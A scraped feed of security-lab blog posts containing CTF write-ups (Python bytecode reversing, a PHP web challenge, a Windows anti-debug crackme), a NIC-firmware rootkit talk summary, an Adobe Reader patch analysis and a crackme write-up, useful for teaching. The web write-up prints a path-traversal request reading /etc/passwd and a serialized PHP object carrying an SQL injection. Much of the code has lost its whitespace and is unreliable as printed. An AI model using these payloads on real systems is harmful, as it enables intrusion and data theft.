Quantcast
Channel: Sogeti ESEC Lab
Viewing all 229 articles
Browse latest View live

hack.lu CTF - Challenge 16 WriteUp

$
0
0

We attended Hack.lu this year in Luxembourg. This security conference is really nice and provides a Capture The Flag (CTF) contest organized by FluxFingers, the CTF Team of Ruhr-Universität Bochum (Germany).Here is the write-up of the challenge 16.

We were given a file named secret.pyc containing python bytecode for cPython.

We first tried to import this module inside an ipython session, but with no luckbecause we encountered a SystemExit exception.

So we decided to inspect this bytecode. We quickly found a wrapper around the python "dis"module (see http://nedbatchelder.com/blog/20080...) that will do the trick.

Since we didn't have a python decompiler at hand, and because the code is short, wedecided to do it by hand. We use the following script to debug the "secret" module:

#!/usr/bin/env pythonimportsyssys.argv=["secret.pyc","1000","1337","1000","1000","1001"]importpdbpdb.set_trace()# don't forget to adjust __file__ in line 72importsecret

This gave a quite large output, so the analysis of the bytecode is here.Finally we are left with around 100 code lines to analyze.

#!/usr/bin/env pythonfoobar=__import__("sys")importhashlibiflen(foobar.argv)<4:foobar.exit(0)secret1=foobar.argv[1]secret2=foobar.argv[2]secret3=foobar.argv[3]secret4=foobar.argv[2]secret5=foobar.argv[3]secret1=secret1secret4=secret4secret3=secret1secret1=secret1secret3=secret5secret1=foobar.argv[1]secret4=secret2secret3=secret1secret3=secret5secret5=secret3secret2=secret2iffloat(secret2)!=1337.0foobar.exit(0)token=0f1=open(foobar.argv[0],"r")f2=open(foobar.argv[0],"r")f=f1.read()f1.close()g=f2.read()f2.close()iff!=g:token+=0foobar.exit(0)token+=11111111111secret5=abs(hash(g))m=map(lambdax:hash(x)%31337,foobar.modules.keys())# all this for detecting decompiler modules I think ...if8732inm:foobar.exit(0)token+=54362345foobar.exit(0)if8474inm:token+=12312344if8474inm:token+=312395foobar.exit(0)if27445inm:foobar.exit(0)token+=53123i=foobar._getframe().f_lasti# i = 574token+=iif__file__!="secret.pyc":foobar.exit(0)token+=1000key=hashlib.sha1('adsf'+str(token+int(secret3))).digest()p='\x83\xc8\x8f\xb6!\xec\xb2\xbc\x8d\xf4\xb5q\x08\x9d\xaa\x99R\xf3J\x02\xdb\xd9\x95\xa0!\xcf\xa6\xf2\x94\xdd\xe0=p\x85\xf0\xb49\xd0Yz\xca\xf7\xd8\xee^\xc7\xe1\x97\xd2\x84\xb7c\x08\x8c\xcb\xb4B\xde\x1f\n\x8c\xae\x8f\xb1!\xde\xc6\xdf\xbd\xc1\xe0\\r\xda\x92\xf2`\x87:;\xed\x83\xf5\xf7\x13\xb5\xf4\xab\xd2\xd8\x8c\x1cP\xb1\xe0\xa3Q\x87g\x00\x92\xae\x9e\xd4\x0c\xdb\xda\xaa\xb1\xc2\xe0\\r\xdc\xa8\x99R\xf3J\x17\xed\xff\xa4\xc7q\x98\x9f\x88\xc4\xbf\xcd7Q\xca\xd0\xd9v\x87g\x00\x9a\x96\xf5\xe6x\x98\xc8\xbc\xab\xd0\xe0\\r\xdc\xab\x99R\xf3J7\xed\xf8\xa3\xa0!\xcf\xa4\xcc\xff\xef\x94q]\xbd\xc4\xcfg\x87g\x00\x9a\x91\xf5\xe6x\x98\xcf\xa5\xb2\xd2\x9bq\x08\x9d\xa9\xa59\xc1>W\xfd\xfe\xa4\xd1l\xef\xd4\xa8\xa9\xf6\xf64%\xe7\xe8\xa2\x04\xaa\x0c^'os=""fori,cinenumerate(p):os+=chr(ord(c)^ord(key[(i%len(key))]))importcPickletry:o=cPickle.loads(os)except:foobar.exit(0)d=[]fori,winenumerate(o):r=''forcinw:r+=chr(ord(c)^(int(secret1)+2*i))d.append(r)s=" ".join(d)printrepr(s)

Once we eliminated all the anti-analysis code, we obtained the following infos :

  • we need to find the value of 2 integers: secret1 and secret3
  • secret3 is use to create the pickled data of a list
  • secret1 is use as argument for the chr function hence its value must be contained between 0 and 255
  • the value of token is 11111112685

We quickly wrote a function to do the bruteforce for us:

#!/usr/bin/env pythonimportsysimporthashlibimportcPickleimportstringtoken=11111112685p='\x83\xc8\x8f\xb6!\xec\xb2\xbc\x8d\xf4\xb5q\x08\x9d\xaa\x99R\xf3J\x02\xdb\xd9\x95\xa0!\xcf\xa6\xf2\x94\xdd\xe0=p\x85\xf0\xb49\xd0Yz\xca\xf7\xd8\xee^\xc7\xe1\x97\xd2\x84\xb7c\x08\x8c\xcb\xb4B\xde\x1f\n\x8c\xae\x8f\xb1!\xde\xc6\xdf\xbd\xc1\xe0\\r\xda\x92\xf2`\x87:;\xed\x83\xf5\xf7\x13\xb5\xf4\xab\xd2\xd8\x8c\x1cP\xb1\xe0\xa3Q\x87g\x00\x92\xae\x9e\xd4\x0c\xdb\xda\xaa\xb1\xc2\xe0\\r\xdc\xa8\x99R\xf3J\x17\xed\xff\xa4\xc7q\x98\x9f\x88\xc4\xbf\xcd7Q\xca\xd0\xd9v\x87g\x00\x9a\x96\xf5\xe6x\x98\xc8\xbc\xab\xd0\xe0\\r\xdc\xab\x99R\xf3J7\xed\xf8\xa3\xa0!\xcf\xa4\xcc\xff\xef\x94q]\xbd\xc4\xcfg\x87g\x00\x9a\x91\xf5\xe6x\x98\xcf\xa5\xb2\xd2\x9bq\x08\x9d\xa9\xa59\xc1>W\xfd\xfe\xa4\xd1l\xef\xd4\xa8\xa9\xf6\xf64%\xe7\xe8\xa2\x04\xaa\x0c^'defbf1(secret3):key=hashlib.sha1('adsf'+str(token+int(secret3))).digest()os=''fori,cinenumerate(p):os+=chr(ord(c)^ord(key[(i%len(key))]))try:o=cPickle.loads(os)exceptException:returnNoneifisinstance(o,list)andlen(o)>0:returnodefbf2(secret1,o):d=[]try:fori,winenumerate(o):r=''forcinw:r+=chr(ord(c)^(int(secret1)+(2*i)))d.append(r)exceptException,e:returnNones=" ".join(d)ifs!='':returnsiflen(sys.argv)!=3:print"usage: %s start end"%(sys.argv[0])sys.exit(0)o=Nonestart=int(sys.argv[1])end=int(sys.argv[2])forsecret3inxrange(start,end):ifsecret3%1000==0:sys.stdout.write(".")sys.stdout.flush()o=bf1(secret3)ifoisnotNone:breakforsecret1inxrange(256):s=bf2(secret1,o)ifsisnotNone:c=[cforcinsifcinstring.printable]iflen(c)==len(s):print"\nsecret1 is %d, secret3 is %d and key is %s"%(secret1,secret3,repr(s))

After about 5 minutes we find the magic values for secret1 and secret3:

  • secret3 = 554433
  • secret1 = 23

which gives us the key :

'Some kids piss their name in the snow. Chuck Norris can piss his nameinto concrete.'

This challenge gives us 400 gold, yeah ! And kudos for the orgas for such a fun challenge :)


hack.lu CTF - Challenge 21 WriteUp

$
0
0

Guillaume was giving a talk at the Hack.lu 2010 conference in Luxembourg, where we enjoyed to participate to the Capture The Flag. After intense competition against about 70 teams, we finally ended at the 1st place. Congratulations to FluxFingers who organized the CTF and did an impressive work, both for providing original challenges and letting it open to local and remote teams!

The goal of the web challenge 21 was to guess how much gold Jack, the leader of the PIGS' organisation, had stolen so far. A quick look at the website shows that there aren't much entry points from an attacker point a view:

  • A support interface to upload language files. If we try to upload any file, a message warns us that the upload is aborted because our language file has not been signed.
  • A contact form.
  • A hidden administration area (link in the HTML source), which requires a valid username and password.

The particularity of the website is that 10 international languages are supported, as shown by the little flags at the top of the menu and the support page:

We ship gold all over the world and are doing our best to make our internationalbusiness as comfortable as possible for our customers. Our website supports 10international languages (automatically detected) and we are always looking forhelp to support new languages. If you are interested, please contact us for moreinformation and to receive the key for signing your language file. We would liketo thank all contributors!

There aren't many standard ways to guess a browser language, and playing with the Accept-Language HTTP header promptly reveals a flaw that allows us to read any file on the system (respecting www-data read permissions). The following HTTP request returns the content of /etc/passwd:

GET /PIGS/ HTTP/1.0
Host: pirates.fluxfingers.net
Accept-Language: ../../../../etc/passwd

Thus, we can gather the whole PHP sources of the PIG web application, and start some code source auditing:

  • sources/config.php
  • sources/index.php
  • sources/worker/funcs.php
  • sources/worker/mysql.php
  • sources/html/index.php
  • sources/html/admin.php
  • sources/html/upload.php
  • sources/html/header.php
  • sources/html/services.php
  • sources/html/contact.php
  • sources/html/footer.php

A quick grep over the sources for dangerous functions doesn't give any results, so we started to look at the code responsible of the signed file upload.

Upload

Here's the PHP code responsible of file upload:

define("MESSAGES",   "messages/");define("SECRET_KEY", "p1r4t3s.k1lly0u");function signed($file) {  $data = file_get_contents($file);  if (!($messages = unserialize($data)))    return false;  else if ($messages['secretkey'] !== SECRET_KEY)    return false;  return true;}if (!empty($_FILES) && !empty($_FILES["userfile"]["name"])) {  if (!@is_file(MESSAGES . $_FILES["userfile"]["name"]))  {    if (signed($_FILES["userfile"]["tmp_name"]))  {      if (move_uploaded_file($_FILES["userfile"]["tmp_name"], MESSAGES . $_FILES["userfile"]["name"]))        print $messages["upload_success"];      else        print $messages["upload_fail"];    }    else {      print $messages["upload_notsigned"];    }  }  else {    print $messages["upload_exists"];  }}

The code is straightforward, we can upload any file to the messages/ folder under the condition that the file is signed: its content must be successfully unserialized by PHP, and the 'secretkey' field must be equals to p1r4t3s.k1lly0u. The following PHP code produces a signed file which can successfully be uploaded, but it is not interesting for now, as the accesses to the messages/ folder are protected by an .htaccess.

$message = array('secretkey' => 'p1r4t3s.k1lly0u','footer'    => 'pwn');echo serialize($message);

Serialization

By browsing the source code, nothing seems interesting except the worker/mysql.php script:

class sql_db {  var $db_connect_id;  var $log_table;  var $query_result;  var $row = array();  var $rowset = array();  var $num_queries = 0;  function __wakeup()  {    if ($this->persistency)      $this->db_connect_id = mysql_pconnect($this->server, $this->user, $this->password);    else      $this->db_connect_id = mysql_connect($this->server, $this->user, $this->password);    if ($this->db_connect_id) {      if ($this->dbname != "") {        $dbselect = mysql_select_db($this->dbname);        if(!$dbselect) {          mysql_close($this->db_connect_id);          $this->db_connect_id = $dbselect;        }      }      return $this->db_connect_id;    }    else {      return false;    }  }  function sql_close() {    if ($this->db_connect_id) {      $this->createLog();      if ($this->query_result)        mysql_free_result($this->query_result);      mysql_close($this->db_connect_id);      return true;    }    else {      return false;    }  }  function createLog() {    $ip        = $this->escape($_SERVER['REMOTE_ADDR']);    $lang      = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);    $agent     = $this->escape($_SERVER['HTTP_USER_AGENT']);    $log_table = $this->escape($this->log_table);    $query     = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";    $this->sql_query($query);  }  function escape($string) {    if (!get_magic_quotes_gpc())      return mysql_real_escape_string($string, $this->db_connect_id);    else      return $string;  }  function __destruct() {    $this->sql_close();  }

The sql_db class contains the 2 special methods, __wakeup and __destruct:

  • Conversely, unserialize() checks for the presence of a function with the magic name __wakeup. If present, this function can reconstruct any resources that the object may have. The intended use of __wakeup is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.
  • The destructor method will be called as soon as all references to a particular object are removed or when the object is explicitly destroyed or in any order in shutdown sequence.

The __wakeup method allows us to reconstruct the log_table attribute which is used by the createLog() method, called by __destruct(). Luckily, there's an SQL injection in the query built by createLog(): even if the escape method is applied to the query, $log_table is not quoted.

Final exploit

We can determine the user table's fields thanks to some functions in worker/funcs.php:

function login() {  global $db;  $name = $db->escape($_POST['name']);  $pass = $db->escape($_POST['pass']);  $result = $db->sql_query("SELECT name FROM users WHERE name='$name' and password='$pass'");  if($db->sql_numrows($result) > 0)    return true;  return false;}function printGold(){  global $db;  $name = $db->escape($_POST['name']);  $result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");  if ($db->sql_numrows($result) > 0) {    $row = $db->sql_fetchrow($result);    echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);  }}

The INSERT ... SELECT allows us to read the gold value from the users table, and create a new user a with password a in the same table. Some hex encoding avoid the use of quotes, and the comments ignore the rest of the query:

INSERTINTOusers(name,gold,password)SELECT0x61,gold,0x61FROMusers;-- VALUES ('', '$ip', '$lang', '$agent')

Here's the code that generates a signed file. Once uploaded, the call to unserialize creates a new sql_db object. At the end of the script execution, a call to __destruct() will occurs, which triggers the SQL injection. Eventually, we just connect with the login and password a:a, and read the gold value.

class sql_db {  var $persistency   = true;  var $db_connect_id = false;  var $user      = 'pigs';  var $password  = 'pigs';  var $server    = 'localhost';  var $dbname    = 'pigs';  var $log_table = 'users(name,gold,password) SELECT 0x61,gold,0x61 FROM users;--';}$message = array('secretkey' => 'p1r4t3s.k1lly0u','pwn'       => new sql_db());echo serialize($message);

This challenge was especially interesting, since it differs greatly from ordinary web challenges which are generally quite boring and repetitive. This one combines several different class of vulnerabilities, from SQL injection to unserialization flaw, including file disclosure. Notice that if you want to give some challenges a try, they're still up!

Presentation at Hack.lu: Reversing the Broadcom NetExtreme's firmware

$
0
0

I was giving a talk in October during last hack.lu session. The presentation focuses on the roadmap taken to reverse engineer the Broadcom Ethernet NetExtreme firmware family: building a firmware debugger, instrumentation tools, to finally develop a customized network card firmware.

NetExtreme family cards are the standard range of PCI Ethernet cards from Broadcom. Broadcom released part of their soft specifications (inner workings, memory mappings, device register definitions...). However those specifications are incomplete and the firmware is distributed as a binary blob.

Given publicly available documentation (specifications, Linux open-source driver) and free open-source tools, I have built a set of tools to instrument the network card firmware. Those tools provided me a way to debug in real-time the MIPS CPU of the network card, as well as doing some advanced instrumentation on the firmware code (execution flow tracing, memory-accesses logging...). I have also reverse engineered the format of the EEPROM where firmware code is kept and the bootstrap process of the device leading to firmware execution. This way it is possible to develop a custom firmware code, flash the device and get execution on the CPU of the network card.

The main interest is developing a rootkit which will be residing inside the network card. A network card rootkit offers some very interesting features:

  • A very stealthy communication end-point over the Ethernet link. It can intercept and forge network frames without the operating system knowing about it.
  • A physical system memory access using DMA over the PCI link, leading to OS corruption.
  • No trace of the rootkit on the operating system, as it is being hidden inside the NIC.

The network card natively needs to perform DMA accesses, so that network frames can be exchanged between the driver and the device. From the firmware point of view, everything is operated using special dedicated device registers, some of them being non-documented. An attacker would then be able to communicate remotely with the rootkit in the network card and get access to the underlying operating system thanks to DMA.

Slides of my presentation are available here.

Here is a little demo of what can be done once you develop your own network card firmware:

Thank you, Mario, but our printSeps() is in another castle!

$
0
0

This post details the way Adobe patched the printSeps() vulnerability in Adobe Reader (CVE-2010-4091). You'll see that the way Adode fixed the vulnerability is quite surprising...

Very lately a vulnerability in the undocumented JavaScript method printSeps() of Adobe Reader was disclosed (CVE-2010-4091). A few days later Adobe released a patch to fix it. Motivated by curiosity I decided to investigate the matter and find out how the vulnerability had been patched. I was really surprised by the way it was done and so I decided to share my findings, and therefore I wrote this post.

First of all, one has to understand how Adobe Reader’s JavaScript engine works. Interesting presentations have already been performed on this subject especially this one:http://www.immunitysec.com/download..., that I suggest interested people should read.

Adobe Reader's JavaScripts's engine is implemented in various files in the application's “Reader\\plug_ins” directory. Those plug-ins have an “*.api” extension, but are nothing more than regular dlls. During the application's initialization, the JavaScript classes register each property and method with a corresponding native handler as we can see below:

pushoffsetprintSepsWithParamsHandler; offset of native handlerpushoffsetaPrintsepswithp; "printSepsWithParams" : offset of method namepushesi; intcallRegisterMethod; function responsible for method registrationpushoffsetscrollHandler; intpushoffsetaScroll; "scroll"pushesi; intcallRegisterMethodpushoffsetmailDocHandler; intpushoffsetaMaildoc; "mailDoc"pushesi; intcallRegisterMethod

Each plug-in file has a dispatcher responsible for calling the JavaScript native handlers with the given arguments, once it has checked that the method exists.The EScript.api, where the printSeps() native handler is implemented, has the following JavaScript dispatcher :

mov[ebp+var_30],edijnzshortloc_2382EB7Cpush[ebp+FunctionName]; gives the method name as argumentleaebx,[ebp+var_30]moveax,edicallRetrieveHandlerByName; function returns the native handler address if it is foundpopecx...movesi,[ebp+var_30]pushedipush[ebp+FunctionName]; gives the method name as argumentpush2callIsMethodCallable; function returns a boolean to indicate if the user has suffiscient rights to call the methodaddesp,10htestal,al...pushesipush[ebp+var_24]push[ebp+FunctionName]push[ebp+var_28]call[ebp+HandlerFunc]; calls the native handler whose address has just been resolved

The Dispatcher firsts finds the native handler for the JavaScript method, then checks if the method is callable given the user’s security context, and finally calls the native handler.

I wanted to debug the printSeps() native handler from the patched version, but I realized that the JavaScript dispatcher was never called on the printSeps() method. Something was obviously wrong with the JavaScript itself, and something really funny. In fact Adobe had simply decided to remove this JavaScript method from the object rather than to patch its native handler vulnerability. It is removed by a simple test in the Doc object initialization:

callsub_23825DDDtestax,axjnzshortloc_23802D71pushoffsetsub_2383904D; intpushoffsetaPrintseps; "printSeps"pushesi; intcallRegisterMethodloc_23802D71:

The printSeps method is added to the Doc object or not depending on the result of the function at offset 0x23825DDD. This function is equivalent to the following C code:

if(strcmpw(ProductName,LReader)==0)return1;elsereturn0;

In other words, if the product is Adobe Reader then the printSeps() method is simply removed from the JavaScripts engine. The funny thing is that the native handler of printSeps() is still present and vulnerable.I think that Adobe's current solution may be temporary; since it looks more like a “quick and dirty” fix. And I would not be surprised if the printSeps() vulnerability was to reappear in the near future ;).

hack.lu CTF - Challenge 12 WriteUp

$
0
0

Here is the missing Hack.lu CTF write-up for the "seamonster" challenge. It was a Windows reverse engineering challenge, with a nice anti-debugging trick.

The challenge objective is to give "Ring3" the correct password to keep our ship afloat and get the gold ! Let's have a look at the main function :

charBuf[32];//holds the users inputintwmain(intargc,wchar_t*argv[]){DWORDpid_1,dwProcessId;PROCESS_INFORMATIONProcessInformation;STARTUPINFOWStartupInfo;WCHARcommandLineParams[16];if(argc==1)//first launch{print_ascii_message();pid_1=GetCurrentProcessId();wsprintfW(commandLineParams,L"%d %d",1,pid_1);std::basic_string<WCHAR>s;s+=argv[0];s+=L" ";s+=commandLineParams;memset(&StartupInfo,0,sizeof(StartupInfo));//seamonster.exe 1 <PID_1>CreateProcessW(argv[0],(LPWSTR)s.c_str(),0,0,0,DEBUG_ONLY_THIS_PROCESS,0,0,&StartupInfo,&ProcessInformation);LFSR1_runloop();//sub_401F80()  (noreturn)}if(argc==3)//second and third processes{if(argv[1][0]=='1'){wsprintfW(commandLineParams,L"%d %s",2,argv[2]);std::basic_string<WCHAR>s;s+=argv[0];s+=L" ";s+=commandLineParams;memset(&StartupInfo,0,sizeof(StartupInfo));//seamonster.exe 2 <PID_1>CreateProcessW(argv[0],(LPWSTR)s.c_str(),0,0,0,DEBUG_ONLY_THIS_PROCESS,0,0,&StartupInfo,&ProcessInformation);LFSR2_runloop();//sub_401FC0() (noreturn)}printf(">>> ");gets_s(Buf,32);//get user inputswscanf(argv[2],L"%d",&dwProcessId);//get <PID_1> from command lineif(DebugActiveProcess(dwProcessId)==1)//attach 3rd process to 1stprocess3_main();}return0;}

The anti-debug technique used is interesting : 3 processes are spawned and debug each other in a circular fashion (1->2->3->1), hence preventing another ring3 debugger to attach. Furthermore, each process manages a 128 bit linear feedback shift register (LFSR), and the feedback bits are exchanged through debug interrupts : the debugger process injects the bit value in the eax register of the debuggee using SetThreadContext. Therefore, removing the debugging code makes the binary non functional. The keystream generated by the LFSRs is used by the third process to decrypt two functions, which we will call stage1 and stage2. The following C code shows the `` process3_main`` function :

voidprocess3_main()//0x402080{//init LFSR function pointersptr_f1=&LFSR3_f1_output;ptr_f2=&LFSR3_f2_feedback;ptr_f3=&LFSR3_f3_update;ptr_setState=&LFSR3_setState;ptr_xor_string=&LFSR3_xor_string;LFSR3_newState="FluxFingers";//wait debug attach to process 1WaitForOneDebugEvent();//tell parent processes to reset LFSR state__asm{pusheaxmoveax,0int3popeax}//wait for the interrupt to loop back to uswhile(WaitForDebugAndSetEAX()!=1);//init LFSR3 state with LFSR3_newState(*ptr_setState)();//drop first 50 keystream bytesfor(i=0;i<50;i++){LFSR3_getByte();}//decrypt first encrypted functionfor(i=0;i<384;i++)//loc_4020F0{*(&stage1+i)^=LFSR3_getByte();}stage1();}

Instead of reversing the LFSR algorithm, we went the easy way and patched the binary to dump the keystream by adding some calls to printf. This solution is probably not the most elegant but allowed us to quickly solve this challenge. For instance in the previous function, we simply patched the second loop to display each byte of the key by jumping to an existing call to printf and setting the format string to "%02x". The following "bindiff" shows the idea :

loc_4020F0:callsub_402000; LFSR3_getByte ()movecx,offsetloc_402430; stage1-xor[ecx+esi],al-addecx,esi+andeax,0FFh+callsub_4021D0incesicmpesi,384jlshortloc_4020F0callloc_402430; stage1()...sub_4021D0:-push0+pusheax+nop-pushoffsetaRing3T_t_h_s_0; "Ring3 T.T.H.S.M.> Mrrrmmmmmpffff!\nRing3"...+pushoffseta02x; "%02x"callds:printfaddesp,8retn

Once we run the patched binary, the keystream is displayed and we can then decrypt the stage1 function and disassemble it to get the following code :

voidstage1(){structMD5_CTXmd5_context;charstage2key[214];char*heapBuffer;void(*stage2ptr)();MD5_Init(&md5_context);//inlined//hash the whole .text section except for the encrypted stage 2 at 0x4025B0MD5_Update(0x15B0,&md5_context,0x401000);//first parameter is data sizeMD5_Update(0x97A,&md5_context,0x402686);MD5_Final(&md5_context);//trigger LFSR state reset in parent processes__asm{pusheaxmoveax,0int3popeax}//wait for the interrupt to loop back to uswhile(WaitForDebugAndSetEAX()!=1);//use integrity check output to reinitialize LFSRLFSR3_newState=&md5_context->digest;(*ptr_setState)();//drop first 60 bytes of keystreamfor(i=0;i<60;i++){LFSR3_getByte();}HANDLEheap=HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);srand((int)heap);intrandomIndex=rand()%1000;for(i=0;i<214;i++){//we'll put our second "printf patch" here to get the keystage2key[i]=LFSR3_getByte();}for(i=0;i<1000;i++){heapBuffer=HeapAlloc(heap,0,214);if(i==randomIndex){//copy encrypted stage 2 to heap memorymemcpy(heapBuffer,0x4025B0,214);stage2ptr=heapBuffer;}for(i=0;i<107;i+=2){heapBuffer[i]^=stage2key[i];heapBuffer[i+1]^=stage2key[i+1];}}//call decrypted stage2 on heap*(stage2ptr)(stage2ptr);}

This function allocates 1000 buffers and run the decryption code on each, but only one of them (randomly chosen) will be initialized with the encrypted stage2. If we do the same as before and patch the loop which gets the keystream, the decrypted code ends up being incorrect. In fact, the MD5 digest is used to reinitialize the LFSR, so I had to patch the MD5_final function to always return the right value (140e351638717e04e73ff8ec5e2a81db). Once this is done we can decrypt and reverse the last stage :

voidstage2(void*stage2heapBuffer){DWORDstage2_opcodes[3];chargood_passphrase[32];stage2_opcodes[0]=((DWORD*)stage2heapBuffer)[0];stage2_opcodes[1]=((DWORD*)stage2heapBuffer)[1];stage2_opcodes[2]=((DWORD*)stage2heapBuffer)[2];//reset LFSR state with first stage2 bytesLFSR3_newState=&stage2_opcodes[0];(*ptr_setState)();memcpy(good_passphrase,encrypted_passphrase,32);//xor encrypted passphrase with keystream(*ptr_xor_string)(good_passphrase,31);//insert printf here :)intpassOk=!strcmp(Buf,good_passphrase);memset(good_passphrase,0,32);//erase current function and jump to display_win/fail (ROP)//memset(stage2heapBuffer, 0, 214);__asm{push0push214push0pushstage2heapBuffer}if(passOk)__asm{pushoffsetdisplay_win}else__asm{pushoffsetdisplay_fail}__asm{pushoffsetmemsetretn}}

The LFSR state is reset again, this time using the first bytes of the stage2 function, and then the correct passphrase is decrypted (it is stored in the .data section) and compared with the user's input. One last "printf patch" at the right spot and we finally get the right answer : "Ring3?! Lol! Joanna did Ring-1!".

After the CTF was over I took some time to fully reverse the LFSR algorithm, and the following Python script reproduces the seamonster functionality to decrypt the two stages and the passphrase.

importhashlib,structdefxor_string(data_string,key_int):res=""foriinxrange(len(data_string)):res+=chr(ord(data_string[i])^key_int[i%len(key_int)])returnresdefgetbit(x,pos):return(x>>pos)&1definsertHighBit(x,b):return(x>>1)|(b<<127)classLFSR_process1:#0x401A20def__init__(self):self.state=0xBBCCDDEEFF0011223344000000000000#0x401BC0deff1_output(self):return#not used#0x401AC0deff2_feedback(self):return(getbit(self.state,108)|getbit(self.state,44)) \
            ^(getbit(self.state,123)|getbit(self.state,59)) \
            ^(getbit(self.state,109)|getbit(self.state,45)) \
            &(getbit(self.state,110)|getbit(self.state,46))#0x401CA0deff3_update(self,feedback):newbit=feedback^(getbit(self.state,51)|getbit(self.state,114))self.state=insertHighBit(self.state,newbit)classLFSR_process2:#0x401A50def__init__(self):self.state=0x000000000000000000000000000e0000#0x401BF0deff1_output(self):return#not used#0x401B10deff2_feedback(self):return(getbit(self.state,81)|getbit(self.state,17)) \
            ^(getbit(self.state,126)|getbit(self.state,62)) \
            ^(getbit(self.state,82)|getbit(self.state,18)) \
            &(getbit(self.state,83)|getbit(self.state,19))#0x401D10deff3_update(self,feedback):newbit=feedback^(getbit(self.state,42)|getbit(self.state,105))self.state=insertHighBit(self.state,newbit)classLFSR_process3:def__init__(self,p1,p2):self.state=0self.p1=p1self.p2=p2#0x401960defsetState(self,str):str=str[:10]#only use 10 bytesself.state=0self.state|=struct.unpack(">L",str[:4])[0]<<96self.state|=struct.unpack(">L",str[4:8])[0]<<64self.state|=struct.unpack(">H",str[8:10])[0]<<48#0x401B90deff1_output(self):return(getbit(self.state,99)|getbit(self.state,35)) \
             ^(getbit(self.state,126)|getbit(self.state,62))#0x401A70deff2_feedback(self):return(getbit(self.state,99)|getbit(self.state,35)) \
            ^(getbit(self.state,126)|getbit(self.state,62)) \
            ^(getbit(self.state,100)|getbit(self.state,36)) \
            &(getbit(self.state,101)|getbit(self.state,37))#0x401C30deff3_update(self,feedback):newbit=feedback^(getbit(self.state,60)|getbit(self.state,123))self.state=insertHighBit(self.state,newbit)#0x402000defgetByte(self):x=0foriinxrange(8):x|=self.f1_output()<<(7-i)feedback=self.p2.f2_feedback()self.p2.f3_update(self.p1.f2_feedback())self.p1.f3_update(self.f2_feedback())self.f3_update(feedback)returnxdefgetBytes(self,n):return[self.getByte()foriinxrange(n)]#sha1=7A46DC5D6C2A52824937B86A94528FFEF33CBDDCf=open("seamonster.exe","rb")binary=f.read()f.close()#0x402430encrypted_stage1=binary[0x1830:0x1830+384]#0x4025b0encrypted_stage2=binary[0x19b0:0x19b0+214]#0x403144encrypted_password=binary[0x2544:0x2544+31]lfsr3=LFSR_process3(LFSR_process1(),LFSR_process2())lfsr3.setState("FluxFingers")#Drop first 50 bytes of keystreamdrop=lfsr3.getBytes(50)stage1key=lfsr3.getBytes(384)stage1=xor_string(encrypted_stage1,stage1key)binary_with_stage1=binary.replace(encrypted_stage1,stage1)#stage1 operationsmd5sum=hashlib.md5()md5sum.update(binary_with_stage1[0x400:0x400+0x15b0])md5sum.update(binary_with_stage1[0x1A86:0x1A86+0x97A])print"MD5 integrity check :",md5sum.hexdigest()#reset all states (int3 eax=1)lfsr3=LFSR_process3(LFSR_process1(),LFSR_process2())#use md5 for process3 statelfsr3.setState(md5sum.digest())#Drop first 60 bytes of keystreamlfsr3.getBytes(60)stage2key=lfsr3.getBytes(214)stage2=xor_string(encrypted_stage2,stage2key)#stage2 operations#reset LFSR3 state with decrypted stage2 instructionslfsr3.setState(stage2[:10])passkey=lfsr3.getBytes(len(encrypted_password))#Ring3?! Lol! Joanna did Ring-1!print"Decrypted password :",xor_string(encrypted_password,passkey)

That's it for the seamonster, thanks again to FluxFingers for this great CTF.

ESET CONFidence 2010 Crackme - WriteUp

$
0
0

ESET proposed a crackme during the CONFidence conference. Challenge started on November, 29th and lasted two days. The goal was to find a valid username/serial combination. Challenge was won by Dmitry Sklyarov, from ElcomSoft. This article will present a solution for the crackme, and the steps needed to write a key generator for it. Even if the crackme size is only 11.5kB, many tricks are used to make the verification routine tricky enough to resist a few hours.

An easy start

The crackme is a Windows application, and asks for a name and a serial number. The serial must be composed of two parts, separated by a hyphen. The first part is 8 chars long, the second one is 20 chars.

First, the name is hashed with MD5. The resulting hash is converted to a string of 16 lower chars, using a basic encoding function:

for(i=15;i>=0;i--){out[i]='a'+(hash[i]%26);}

The resulting string is converted to UNICODE and hashed with the RtlHashUnicodeString function. This function is exported by ntdll.dll. It returns a 32 bits hash using the x65599 (?) hashing algorithm. Input string is processed case insensitive. A pseudo-code for this function would be:

defx65599(string_to_hash):hash=0s2=string_to_hash.upper()foriinrange(len(s2)):c=ord(s2[i])hash=(hash*65599)&0xffffffffhash=(hash+c)&0xffffffffreturnhash

To sum up, a 32 bit hash is obtained from the user name.

Reversing CRC32

The first part of the serial, composed of 8 chars, is hashed using CRC32. The computation is done with the RtlComputeCrc32 function. The initial value of the CRC32 is fixed to 'ESET' (0x45534554). The resulting hash must be equal to the x65599 hash previously computed.

Obtaining a string with a given CRC32 is easy, if you can fix 4 bytes in it. For more information about CRC32 reversing, check this paper. The additional difficulties here are the custom start value and the fact that this string must be written using a custom set of 32 chars: "2WQKHTL3VJBYG6PZCM9AXF0UED5RS7N8".

How to handle such case? I chose to generate a string of 4 random chars taken in the charset, and to fix its CRC adding 4 bytes to it, so that the CRC is equal to the x65599 hash. Then, if the 4 added bytes are in the charset, the problem is solved. Else, I try with another string.

It is a small bruteforce: considering the possibility of each char to be in the charset is 32/256, the probability that the 4 added chars are in the charset is 1/2^12, which is really acceptable.

Here is the Python code used to fix the CRC:

